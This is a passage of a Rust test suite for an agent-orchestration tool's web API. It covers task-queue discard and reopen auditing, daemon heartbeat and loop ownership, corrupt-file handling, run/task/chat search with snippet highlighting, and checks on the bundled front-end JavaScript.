19474 .post(
19475 &format!("/api/queue/{}/done", task.id),
19476 Some(r#"{"discard":true,"reason":"stop this work"}"#),
19477 )
19478 .await;
19479 assert_eq!(done.status, 200, "{}", done.body);
19480
19481 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19482 .expect("run still on disk under this fixture's own home");
19483 assert_eq!(
19484 reloaded_run.status,
19485 RunStatus::Blocked,
19486 "the last recorded attempt never landed, so the earlier one must not be \
19487 relabelled as superseded by it"
19488 );
19489 }
19490
19491 #[tokio::test]
19492 async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19493 let f = Fixture::start().await;
19494 let queue = f.queue();
19495 let mut task = Task::new(
19496 "unstarted".into(),
19497 "keep its history".into(),
19498 PathBuf::from("/repo/magi"),
19499 Source::Human,
19500 );
19501 write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19502 task.runs.push("20260101-000000-aud1".into());
19503 queue.put(&mut task).unwrap();
19504 let path = format!("/api/queue/{}/done", task.id);
19505 let refused = f.post(&path, None).await;
19506 assert_eq!(refused.status, 400, "{}", refused.body);
19507 let blank = f
19508 .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19509 .await;
19510 assert_eq!(blank.status, 400, "{}", blank.body);
19511 assert!(blank.body.contains("--discard requires a non-empty reason"));
19512 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19513 assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19514 let closed = f
19515 .post(
19516 &path,
19517 Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19518 )
19519 .await;
19520 assert_eq!(closed.status, 200, "{}", closed.body);
19521 let reopen_path = format!("/api/queue/{}/reopen", task.id);
19522 let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19523 assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19524 let reopened = f
19525 .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19526 .await;
19527 assert_eq!(reopened.status, 200, "{}", reopened.body);
19528 let saved = queue.get(&task.id).unwrap();
19529 assert_eq!(saved.status, TaskStatus::Held);
19530 assert_eq!(saved.completion_history.len(), 2);
19531 let event = &saved.completion_history[1];
19532 assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19533 assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19534 assert_eq!(event.prior_status, TaskStatus::Done);
19535 assert_eq!(event.reason.as_deref(), Some("premature closure"));
19536 }
19537
19538 #[tokio::test]
19539 async fn unknown_ids_are_json_not_found_on_both_stores() {
19540 let f = Fixture::start().await;
19541
19542 let run = f.get("/api/runs/nosuchrun").await;
19543 let task = f.post("/api/queue/nosuchtask/hold", None).await;
19544
19545 assert_eq!(run.status, 404);
19546 assert_eq!(task.status, 404);
19547 assert!(
19548 run.json()["error"]
19549 .as_str()
19550 .is_some_and(|e| e.contains("run")),
19551 "the error names what was not found: {}",
19552 run.body
19553 );
19554 assert!(
19555 task.json()["error"]
19556 .as_str()
19557 .is_some_and(|e| e.contains("task")),
19558 "the error names what was not found: {}",
19559 task.body
19560 );
19561 }
19562
19563 #[tokio::test]
19564 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19565 let f = Fixture::start().await;
19566
19567 let missing = f.get("/api/health").await.json();
19568 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19569
19570 write_daemon(
19571 f.home.path(),
19572 Timestamp::now() - jiff::SignedDuration::from_secs(60),
19573 );
19574 let stale = f.get("/api/health").await.json();
19575 assert_eq!(
19576 stale["daemon"]["running"], false,
19577 "a minute without a heartbeat is a dead daemon, not a busy one"
19578 );
19579 assert!(
19580 stale["daemon"]["stale_for_secs"]
19581 .as_i64()
19582 .is_some_and(|s| s >= 55),
19583 "staleness is reported so the UI can say how long: {stale}"
19584 );
19585
19586 write_daemon(f.home.path(), Timestamp::now());
19587 let fresh = f.get("/api/health").await.json();
19588 assert_eq!(fresh["daemon"]["running"], true);
19589 assert_eq!(fresh["daemon"]["idle"], false);
19590 assert_eq!(fresh["daemon"]["pid"], 4242);
19591 assert_eq!(fresh["daemon"]["completed"], 7);
19592 assert_eq!(
19593 fresh["daemon"]["current"][0]["task"],
19594 "20260902-140501-aaaa"
19595 );
19596 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19597 }
19598
19599 #[tokio::test]
19600 async fn the_loop_is_not_running_until_something_starts_it() {
19601 let f = Fixture::start().await;
19602
19603 let view = f.get("/api/loop").await.json();
19604 assert_eq!(view["running"], false);
19605 assert_eq!(
19606 view["owned"], false,
19607 "nobody owns a loop that does not exist: {view}"
19608 );
19609 assert_eq!(view["stopping"], false);
19610 assert_eq!(view["last_error"], Value::Null);
19611 assert_eq!(view["daemon"]["running"], false);
19612 assert_eq!(
19613 view["repo"], "/repo/magi",
19614 "the repository a start would use, named before it is started"
19615 );
19616 }
19617
19618 #[tokio::test]
19619 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19620 let f = Fixture::start().await;
19621
19622 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19623 assert_eq!(res.status, 200, "{}", res.body);
19624 let view = res.json();
19625 assert_eq!(view["running"], true);
19626 assert_eq!(
19627 view["owned"], true,
19628 "the loop the UI started is the UI's own to stop: {view}"
19629 );
19630 assert_eq!(
19631 view["merge"],
19632 Value::Null,
19633 "no override was given, so each repository's own config decides"
19634 );
19635
19636 let health = f.get("/api/health").await.json();
19640 assert_eq!(health["loop"]["running"], true, "{health}");
19641 assert_eq!(health["loop"]["owned"], true, "{health}");
19642
19643 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19644 }
19645
19646 #[tokio::test]
19647 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19648 let f = Fixture::start().await;
19649 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19650 assert_eq!(first.status, 200, "{}", first.body);
19651
19652 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19653 assert_eq!(
19654 again.status, 409,
19655 "two loops on one queue race for the same claims: {}",
19656 again.body
19657 );
19658 assert!(
19659 again.json()["error"]
19660 .as_str()
19661 .is_some_and(|e| e.contains("already running the loop")),
19662 "the refusal has to say why: {}",
19663 again.body
19664 );
19665 assert_eq!(
19666 f.get("/api/loop").await.json()["running"],
19667 true,
19668 "and the loop that was already running is untouched by it"
19669 );
19670
19671 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19672 }
19673
19674 #[tokio::test]
19675 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19676 let f = Fixture::start().await;
19677 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19678
19679 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19680 assert_eq!(
19681 res.status, 200,
19682 "the answer must not wait for the loop: a run in flight is tens of \
19683 minutes and the operator is holding a phone: {}",
19684 res.body
19685 );
19686
19687 let view = settled(&f, |v| v["running"] == false).await;
19688 assert_eq!(view["owned"], false);
19689 assert_eq!(
19690 view["stopping"], false,
19691 "a loop that has stopped is not still stopping: {view}"
19692 );
19693 assert_eq!(
19694 view["last_error"],
19695 Value::Null,
19696 "a loop that was asked to stop did not fail: {view}"
19697 );
19698
19699 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19702 assert_eq!(twice.status, 200, "{}", twice.body);
19703 }
19704
19705 #[tokio::test]
19706 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19707 let f = Fixture::start().await;
19708 write_daemon(f.home.path(), Timestamp::now());
19711
19712 let view = f.get("/api/loop").await.json();
19713 assert_eq!(view["running"], false, "not in this process: {view}");
19714 assert_eq!(view["owned"], false, "and not this process's to control");
19715 assert_eq!(
19716 view["daemon"]["running"], true,
19717 "but a loop is alive somewhere, which is what the UI must say"
19718 );
19719 assert_eq!(view["daemon"]["pid"], 4242);
19720
19721 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19722 let res = f.post("/api/loop", Some(body)).await;
19723 assert_eq!(
19724 res.status, 409,
19725 "neither button may pretend to work on someone else's loop: {}",
19726 res.body
19727 );
19728 assert!(
19729 res.json()["error"]
19730 .as_str()
19731 .is_some_and(|e| e.contains("4242")),
19732 "the refusal has to name the process the operator must go to: {}",
19733 res.body
19734 );
19735 }
19736 assert_eq!(
19737 f.get("/api/loop").await.json()["running"],
19738 false,
19739 "and the refusal started nothing"
19740 );
19741 }
19742
19743 #[tokio::test]
19744 async fn a_stale_status_file_is_not_a_foreign_owner() {
19745 let f = Fixture::start().await;
19746 write_daemon(
19747 f.home.path(),
19748 Timestamp::now() - jiff::SignedDuration::from_secs(60),
19749 );
19750
19751 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19752 assert_eq!(
19753 res.status, 200,
19754 "a daemon killed a minute ago must not lock the loop out of its \
19755 own home for good: {}",
19756 res.body
19757 );
19758 assert_eq!(res.json()["running"], true);
19759
19760 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19761 }
19762
19763 #[tokio::test]
19764 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19765 let f = Fixture::start().await;
19766 let before = f.get("/api/health").await.json()["loop_rev"]
19767 .as_u64()
19768 .expect("a loop revision");
19769
19770 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19771
19772 let after = f.get("/api/health").await.json()["loop_rev"]
19773 .as_u64()
19774 .expect("a loop revision");
19775 assert!(
19776 after > before,
19777 "the loop is in-process state, so this counter is the only thing \
19778 that tells a second device the first one started it: {before} -> \
19779 {after}"
19780 );
19781
19782 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19783 }
19784
19785 #[tokio::test]
19786 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19787 let f = Fixture::with_loop(launch_broken).await;
19788
19789 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19790 assert_eq!(
19791 res.status, 200,
19792 "starting it is not the failure: {}",
19793 res.body
19794 );
19795
19796 let view = settled(&f, |v| v["last_error"].is_string()).await;
19797 assert_eq!(
19798 view["running"], false,
19799 "a loop that died must not read as running, or the operator has \
19800 nothing to press: {view}"
19801 );
19802 assert_eq!(view["owned"], false);
19803 assert!(
19804 view["last_error"]
19805 .as_str()
19806 .is_some_and(|e| e.contains("read-only file system")),
19807 "the phone is where a loop that died at 3am is visible: {view}"
19808 );
19809
19810 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19813 assert_eq!(again.status, 200, "{}", again.body);
19814 assert!(
19815 again.json()["last_error"]
19816 .as_str()
19817 .is_none_or(|e| !e.contains("read-only file system")),
19818 "a fresh start does not keep showing why the last one died: {}",
19819 again.body
19820 );
19821 }
19822
19823 #[tokio::test]
19824 async fn a_newer_daemon_status_file_still_renders() {
19825 let f = Fixture::start().await;
19826 std::fs::write(
19829 f.home.path().join("daemon.json"),
19830 serde_json::json!({
19831 "schema": 2,
19832 "updated_at": Timestamp::now().to_string(),
19833 "idle": true,
19834 "surprise": { "nested": [1, 2, 3] },
19835 })
19836 .to_string(),
19837 )
19838 .expect("write daemon.json");
19839
19840 let health = f.get("/api/health").await;
19841
19842 assert_eq!(health.status, 200);
19843 assert_eq!(health.json()["daemon"]["running"], true);
19844 }
19845
19846 #[tokio::test]
19847 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19848 let f = Fixture::start().await;
19849 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19850 let broken = f.runs().join("20260902-140502-bad");
19851 std::fs::create_dir_all(&broken).expect("run dir");
19852 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19853
19854 let list = f.get("/api/runs").await;
19855 let detail = f.get("/api/runs/20260902-140502-bad").await;
19856
19857 assert_eq!(list.status, 200);
19858 let listed = list.json();
19859 let ids: Vec<&str> = listed
19860 .as_array()
19861 .expect("an array")
19862 .iter()
19863 .map(|r| r["id"].as_str().expect("an id"))
19864 .collect();
19865 assert_eq!(
19866 ids,
19867 vec!["20260902-140501-good"],
19868 "one unreadable run must not cost the operator the whole history"
19869 );
19870 assert_eq!(detail.status, 500);
19871 assert!(
19872 detail.json()["error"]
19873 .as_str()
19874 .is_some_and(|e| e.contains("run.json")),
19875 "the failure names the file to look at: {}",
19876 detail.body
19877 );
19878 let health = f.get("/api/health").await;
19882 assert_eq!(health.json()["runs_unreadable"], 1);
19883 }
19884
19885 #[tokio::test]
19887 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19888 let f = Fixture::start().await;
19889 let runs = f.runs();
19890 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19891 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19892 let path = runs.join("20260902-140502-bbbb").join("run.json");
19895 let mut v: serde_json::Value =
19896 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19897 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19898 std::fs::write(&path, v.to_string()).unwrap();
19899 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19900 std::fs::write(
19901 runs.join("20260902-140503-cccc").join("run.json"),
19902 "{ not json",
19903 )
19904 .unwrap();
19905
19906 let res = f.get("/api/search?scope=runs&q=quokka").await;
19907 assert_eq!(res.status, 200, "{}", res.body);
19908 let v = res.json();
19909 assert_eq!(v["total"], 1, "{v}");
19910 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19911 assert_eq!(v["hits"][0]["field"], "text");
19912 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19913 let parts = v["hits"][0]["snippet"].as_array().unwrap();
19914 assert!(
19915 parts
19916 .iter()
19917 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19918 "{v}"
19919 );
19920 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19921 assert_eq!(
19922 flat, "The Quokka leaks across threads",
19923 "whitespace is collapsed"
19924 );
19925
19926 let both = f
19928 .get("/api/search?scope=runs&q=MOBILE%20quokka")
19929 .await
19930 .json();
19931 assert_eq!(both["total"], 1, "{both}");
19932 let neither = f
19933 .get("/api/search?scope=runs&q=quokka%20zebra")
19934 .await
19935 .json();
19936 assert_eq!(neither["total"], 0, "{neither}");
19937 let stmt = f
19939 .get("/api/search?scope=runs&q=mobile%20first")
19940 .await
19941 .json();
19942 assert_eq!(stmt["total"], 2, "{stmt}");
19943 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19944 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19945 }
19946
19947 #[test]
19948 fn snippet_ignores_terms_longer_than_the_field() {
19949 let terms = ["ok".to_owned(), "elephant".to_owned()];
19950 let parts = snippet_of("ok", &terms);
19951 assert_eq!(
19952 parts,
19953 vec![SnippetPart {
19954 text: "ok".to_owned(),
19955 hit: true
19956 }]
19957 );
19958 }
19959
19960 #[test]
19961 fn snippet_marks_matches_longer_than_the_window() {
19962 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19963 let hit_len = |parts: &[SnippetPart]| -> usize {
19964 parts
19965 .iter()
19966 .filter(|p| p.hit)
19967 .map(|p| p.text.chars().count())
19968 .sum()
19969 };
19970 let total =
19971 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19972
19973 let long = "a".repeat(120);
19974 let parts = snippet_of(&long, std::slice::from_ref(&long));
19975 assert!(hit_len(&parts) > 0, "{parts:?}");
19976 assert!(total(&parts) <= cap);
19977
19978 let ja = "あ".repeat(130);
19979 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19980 assert!(hit_len(&parts) > 0, "{parts:?}");
19981 assert!(total(&parts) <= cap);
19982
19983 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19985 let term = format!("ab{}", "c".repeat(100));
19986 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19987 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19988 assert!(total(&parts) <= cap);
19989
19990 let text = format!("{}z", "a".repeat(119));
19992 let parts = snippet_of(&text, &["a".repeat(120)]);
19993 assert_eq!(hit_len(&parts), 0, "{parts:?}");
19994 }
19995
19996 #[tokio::test]
19997 async fn search_caps_hits_and_snippet_length() {
19998 let f = Fixture::start().await;
19999 let runs = f.runs();
20000 for n in 0..(SEARCH_MAX_HITS + 5) {
20001 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
20002 }
20003 let v = f.get("/api/search?scope=runs&q=web").await.json();
20004 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
20005 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
20006 assert_eq!(v["truncated"], true);
20007 assert!(
20009 v["hits"]
20010 .as_array()
20011 .unwrap()
20012 .iter()
20013 .all(|h| h["run"]["status"] == "merged")
20014 );
20015
20016 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
20017 let parts = snippet_of(&long, &["needle".to_owned()]);
20018 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
20019 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
20020 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
20021 }
20022
20023 #[tokio::test]
20024 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
20025 let f = Fixture::start().await;
20026 let queue = f.queue();
20027 let mut t = Task::new(
20028 "short title".to_owned(),
20029 "line one\nthe hidden Armadillo detail".to_owned(),
20030 PathBuf::from("/repo/magi"),
20031 Source::Agent {
20032 run: "r1".to_owned(),
20033 node: "chat".to_owned(),
20034 },
20035 );
20036 t.last_error = Some("disk full on /tmp".to_owned());
20037 queue.put(&mut t).expect("file the task");
20038
20039 for (q, want) in [
20040 ("armadillo", 1),
20041 ("disk%20FULL", 1),
20042 ("chat", 1),
20043 ("queued", 1),
20044 ("short%20nothing", 0),
20045 ] {
20046 let v = f
20047 .get(&format!("/api/search?scope=tasks&q={q}"))
20048 .await
20049 .json();
20050 assert_eq!(v["total"], want, "{q}: {v}");
20051 }
20052 for bad in [
20053 "/api/search?scope=tasks&q=",
20054 "/api/search?scope=tasks&q=%20",
20055 "/api/search?scope=chats&q=",
20056 "/api/search?scope=chats&q=%20",
20057 "/api/search?scope=nope&q=a",
20058 "/api/search?q=a",
20059 ] {
20060 assert_eq!(f.get(bad).await.status, 400, "{bad}");
20061 }
20062 }
20063
20064 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20066 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20067 .expect("seat value");
20068 let turns: Vec<serde_json::Value> = turns
20069 .iter()
20070 .map(|(who, body)| {
20071 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20072 })
20073 .collect();
20074 let doc = serde_json::json!({
20075 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20076 "status": status, "turns": turns,
20077 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20078 "seat": seat,
20079 });
20080 let dir = f.home.path().join("talks");
20081 std::fs::create_dir_all(&dir).expect("talks dir");
20082 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20083 }
20084
20085 #[test]
20086 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20087 let mut talk: Talk = serde_json::from_value(serde_json::json!({
20088 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20089 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20090 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20091 "seat": crate::agent::SeatState::new("talk", "test", 1)
20092 })).unwrap();
20093 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20094 talk.title = Some(talk::ChatTitle {
20095 text: "最近の話題".into(),
20096 source: talk::TitleSource::Generated,
20097 });
20098 let doc = talk_search_doc(&talk);
20099 assert_eq!(doc["title"], "最近の話題");
20100 assert_eq!(doc["turns"][0]["operator"], "古い話題");
20101 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20102 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20103 }
20104
20105 #[test]
20106 fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20107 let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20108 talk.title = Some(talk::ChatTitle {
20109 text: "Saved title".into(),
20110 source: talk::TitleSource::Manual,
20111 });
20112 talk.turns = serde_json::from_value(serde_json::json!([
20113 {
20114 "who": "operator", "sender": "external", "body": "External plain",
20115 "at": "2026-09-08T20:58:02Z"
20116 },
20117 {
20118 "who": "operator", "body": "External message",
20119 "at": "2026-09-08T20:58:03Z",
20120 "messages": [{
20121 "sender": "external", "body": "External message", "attachments": []
20122 }]
20123 }
20124 ]))
20125 .unwrap();
20126 let doc = talk_search_doc(&talk);
20127 assert_eq!(doc["turns"][0]["external"], "External plain");
20128 assert_eq!(doc["turns"][1]["external"], "External message");
20129 assert!(doc["turns"][0].get("operator").is_none());
20130 assert!(doc["turns"][1].get("operator").is_none());
20131 let hit = search_chat(&search_terms("message"), &talk).unwrap();
20132 assert_eq!(hit.field, "external");
20133 let target = hit.target.unwrap();
20134 assert_eq!((target.turn, target.message), (1, 0));
20135 }
20136
20137 #[test]
20138 fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20139 let talk: Talk = serde_json::from_value(serde_json::json!({
20140 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20141 "status": "open", "title": {"text":"Saved title", "source":"manual"},
20142 "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20143 "messages":[{"body":"First message", "attachments":[], "reply":null},
20144 {"body":"Search 運用", "attachments":[], "reply":null}]},
20145 {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20146 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20147 "seat": crate::agent::SeatState::new("talk", "test", 1)
20148 })).unwrap();
20149 let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20150 let target = hit.target.unwrap();
20151 assert_eq!((target.turn, target.message), (0, 1));
20152 assert_eq!(target.text, chat_text_key("Search 運用"));
20153 assert_eq!(
20154 hit.snippet,
20155 snippet_of("Search 運用", &search_terms("運用 Another"))
20156 );
20157 assert!(
20158 search_chat(&search_terms("Saved"), &talk)
20159 .unwrap()
20160 .target
20161 .is_none()
20162 );
20163 assert!(
20164 search_chat(&search_terms("ab12"), &talk)
20165 .unwrap()
20166 .target
20167 .is_none()
20168 );
20169 assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20171 assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20172 }
20173
20174 #[test]
20175 fn chat_search_targets_opener_derived_titles() {
20176 let mut talk: Talk = serde_json::from_value(serde_json::json!({
20177 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20178 "status": "open", "turns": [
20179 {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20180 {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20181 {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20182 "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20183 "seat": crate::agent::SeatState::new("talk", "test", 1)
20184 }))
20185 .unwrap();
20186 let terms = search_terms("運用");
20187 let hit = search_chat(&terms, &talk).unwrap();
20188 assert_eq!(hit.field, "title");
20189 assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20190 let target = hit.target.unwrap();
20191 assert_eq!((target.turn, target.message), (1, 0));
20192 assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20193 talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20195 {"body":"", "attachments":[], "reply":null},
20196 {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20197 ]))
20198 .unwrap();
20199 let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20200 assert_eq!((target.turn, target.message), (1, 1));
20201 assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20202 talk.title = Some(talk::ChatTitle {
20203 text: "運用について".into(),
20204 source: talk::TitleSource::Manual,
20205 });
20206 assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20207 }
20208
20209 #[tokio::test]
20210 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20211 let f = Fixture::start().await;
20212 write_talk(
20213 &f,
20214 "20260901-000001-aaaa",
20215 "open",
20216 &[
20217 (
20218 "operator",
20219 "\n Why does the Pangolin cache expire?\nsecond line",
20220 ),
20221 ("agent", "Because the TTL is thirty seconds."),
20222 ],
20223 );
20224 write_talk(
20225 &f,
20226 "20260901-000002-bbbb",
20227 "closed",
20228 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20229 );
20230 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20231
20232 let search = |q: &'static str| {
20233 let f = &f;
20234 async move {
20235 f.get(&format!("/api/search?scope=chats&q={q}"))
20236 .await
20237 .json()
20238 }
20239 };
20240
20241 let v = search("PANGOLIN").await;
20242 assert_eq!(v["scope"], "chats");
20243 assert_eq!(v["total"], 1, "{v}");
20244 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20245 assert_eq!(v["hits"][0]["field"], "title");
20246 assert_eq!(v["unreadable"], 1, "{v}");
20247 let marked: Vec<&str> = v["hits"][0]["snippet"]
20248 .as_array()
20249 .unwrap()
20250 .iter()
20251 .filter(|p| p["hit"] == true)
20252 .map(|p| p["text"].as_str().unwrap())
20253 .collect();
20254 assert_eq!(marked, ["Pangolin"]);
20255
20256 let v = search("zebra").await;
20258 assert_eq!(v["total"], 1, "{v}");
20259 assert_eq!(v["hits"][0]["field"], "agent");
20260 assert_eq!(search("pangolin%20thirty").await["total"], 1);
20262 assert_eq!(search("pangolin%20zebra").await["total"], 0);
20263 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20265 assert_eq!(search(q).await["total"], 0, "{q}");
20266 }
20267 assert_eq!(search("second").await["hits"][0]["field"], "operator");
20269 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20271
20272 let v = f.get("/api/search?scope=nope&q=a").await;
20273 assert_eq!(v.status, 400);
20274 assert!(
20275 v.body.contains("scope must be runs, tasks or chats"),
20276 "{}",
20277 v.body
20278 );
20279 }
20280
20281 #[test]
20282 fn a_question_card_links_a_task_id_to_the_task_page() {
20283 let start = APP_JS
20284 .find("function updateAskCard(")
20285 .expect("updateAskCard exists");
20286 let body = &APP_JS[start..];
20287 let body = &body[..body.find("\n}\n").expect("function end")];
20288 assert!(body.contains("question.run_is_task"));
20289 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20290 assert!(body.contains("`#/runs/${question.run}`"));
20291 assert!(body.contains("\"task\" : \"run\""));
20292 }
20293
20294 #[test]
20295 fn plain_text_message_surfaces_go_through_linkify() {
20296 assert!(APP_JS.contains("function linkify("));
20297 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20298 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20299 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20300 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20301 assert!(!APP_JS.contains("innerHTML = text"));
20302 }
20303
20304 #[test]
20305 fn implementation_rate_views_keep_independent_samples() {
20306 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20307 let a = stats::AgentStats {
20308 competitive_entered: competitive_n,
20309 competitive_wins: usize::from(competitive_n > 0),
20310 solo_entered: solo_n,
20311 solo_adopted: 2 * usize::from(solo_n > 0),
20312 ..Default::default()
20313 };
20314 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20315 for (key, n, numerator) in [
20316 ("competitive_win_rate", competitive_n, a.competitive_wins),
20317 ("solo_adoption_rate", solo_n, a.solo_adopted),
20318 ] {
20319 if n == 0 {
20320 assert!(v[key].is_null());
20321 } else {
20322 assert_eq!(v[key]["denominator"], n);
20323 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20324 }
20325 }
20326 }
20327 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20328 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20329 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20330 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20331 }
20332
20333 #[test]
20334 fn stats_bars_share_one_id_keyed_plan() {
20335 let start = APP_JS
20336 .find("function statsBarRows(")
20337 .expect("statsBarRows exists");
20338 let body = &APP_JS[start..];
20339 let body = &body[..body.find("\n}\n").expect("function end")];
20340 assert!(body.contains("statsBarPlan(rows)"));
20341 assert!(body.contains("statsAgentTone(row.agent)"));
20342 assert!(!body.contains("candTone(i)"));
20343 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20344 for root in [
20345 "stats-agents-bars",
20346 "stats-solo-bars",
20347 "stats-reviewers-bars",
20348 ] {
20349 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20350 }
20351 }
20352
20353 #[test]
20354 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20355 let start = APP_JS
20356 .find("function renderStatsReviewerScatter(")
20357 .expect("renderStatsReviewerScatter exists");
20358 let body = &APP_JS[start..];
20359 let body = &body[..body.find("\n}\n").expect("function end")];
